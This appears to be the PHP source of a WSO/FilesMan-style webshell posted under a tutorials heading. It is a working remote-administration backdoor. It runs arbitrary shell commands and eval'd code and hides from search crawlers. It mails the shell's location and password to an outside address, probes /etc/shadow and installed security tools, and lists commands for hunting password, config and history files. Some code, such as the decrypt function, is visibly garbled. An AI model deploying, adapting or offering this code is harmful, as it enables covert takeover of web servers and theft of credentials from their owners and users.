E lectures & tutorials
//--------------Watching webshell!--------------
if(array_key_exists('watching',$_POST)){
$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']." ".$_POST['pass']; @mail('test@testmail.com', 'root', $tmp); // Edit or delete!
}
//-----------------Password---------------------
$▛ = "b8cc4edba5145d41f9da01d85f459aef";
$▘ = true;
$▜ = 'UTF-8';
$▚ = 'FilesMan';
$▙ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
prototype(md5($_SERVER['HTTP_HOST'])."key", $▙);
}
if(empty($_POST['charset']))
$_POST['charset'] = $▜;
if (!isset($_POST['ne'])) {
if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i=strlen($str))break;}}return base64_decode($enc_str);}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if(version_compare(PHP_VERSION, '5.3.0', '<')){
set_magic_quotes_runtime(0);
}
@define('VERSION', '4.2.6');
if(get_magic_quotes_gpc()) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}
/* (С) 11.2011 oRb */
if(!empty($▛)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛))
prototype(md5($_SERVER['HTTP_HOST']), $▛);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
function hardLogin() {
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
die("
");
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("", "/", $home_cwd);
$cwd = str_replace("", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
/* (С) 04.2015 Pirat */
function hardHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['▜'];
echo "
";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://nullrefer.com/?https://www.exploit-db.com/search/?action=search&description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= " $cwd_links .= "")'>".$path[$i]."/";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $▟)
$opt_charsets .= '
echo "
";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
function ex($in) {
$▖ = '';
if (function_exists('exec')) {
@exec($in,$▖);
$▖ = @join(" ",$▖);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$▖ = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$▖ = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$▖ = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$▖ = "";
while(!@feof($f))
$▖ .= fread($f,1024);
pclose($f);
}else return "↳ Unable to execute command ";
return ($▖==''?"↳ Query did not return anything ":$▖);
}
function viewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function viewPermsColor($f) {
if (!@is_readable($f))
return ''.perms(@fileperms($f)).'';
elseif (!@is_writable($f))
return ''.perms(@fileperms($f)).'';
else
return ''.perms(@fileperms($f)).'';
}
function hardScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function which($p) {
$path = ex('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"VERSION" => VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
function prototype($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function actionSecInfo() {
hardHeader();
echo '
Server security information
';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '' . $n . ': ';
if(strpos($v, " ") === false)
echo $v . ' ';
else
echo '
' . $v . '';
}
}
showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
showSecParam('Supported databases', implode(', ', $temp));
echo '
';
';
if($GLOBALS['os'] == 'nix') {
showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no');
showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no');
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '
';
';
$temp=array();
foreach ($userful as $▟)
if(which($▟))
$temp[] = $▟;
showSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $▟)
if(which($▟))
$temp[] = $▟;
showSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $▟)
if(which($▟))
$temp[] = $▟;
showSecParam('Downloaders', implode(', ',$temp));
echo '
';
';
showSecParam('HDD space', ex('df -h'));
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
showSecParam('OS Version',ex('ver'));
showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
}
echo '
';
hardFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
hardHeader();
echo '
File tools
';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
hardFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' Permission: '.viewPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
';
echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '
';
';
switch($_POST['p2']) {
case 'view':
echo '
';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '
';
$oRb = @highlight_file($_POST['p1'],true);
echo str_replace(array(''), array(''),$oRb).'
';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can't set permissions!
';
';
}
clearstatcache();
echo '
';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn't writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!
';
';
@touch($_POST['p1'],$time,$time);
}
}
echo '
';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000
','','');
','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
';}
$h[1] .= '
';
';
$h[2] .= " ";
}
}
echo '
';
'.$h[0].'
|
'.$h[1].' |
'.htmlspecialchars($h[2]).' |
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can't rename!
';
';
else
die('');
}
echo '
';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '
';
break;
/* (С) 12.2015 mitryz */
case 'frame':
$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
if ($frameSrc[0] != '/')
$frameSrc = '/' . $frameSrc;
if ($frameSrc[strlen($frameSrc) - 1] != '/')
$frameSrc = $frameSrc . '/';
$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
echo '';
break;
}
echo '
';
hardFooter();
}
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name "config*"",
"find config* files in current dir" => "find . -type f -name "config*"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value=''; ";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes(" $ ".$_POST['p1']." ".ex($_POST['p1'])," '�"));
if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), " ", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
hardHeader();
echo "";
echo '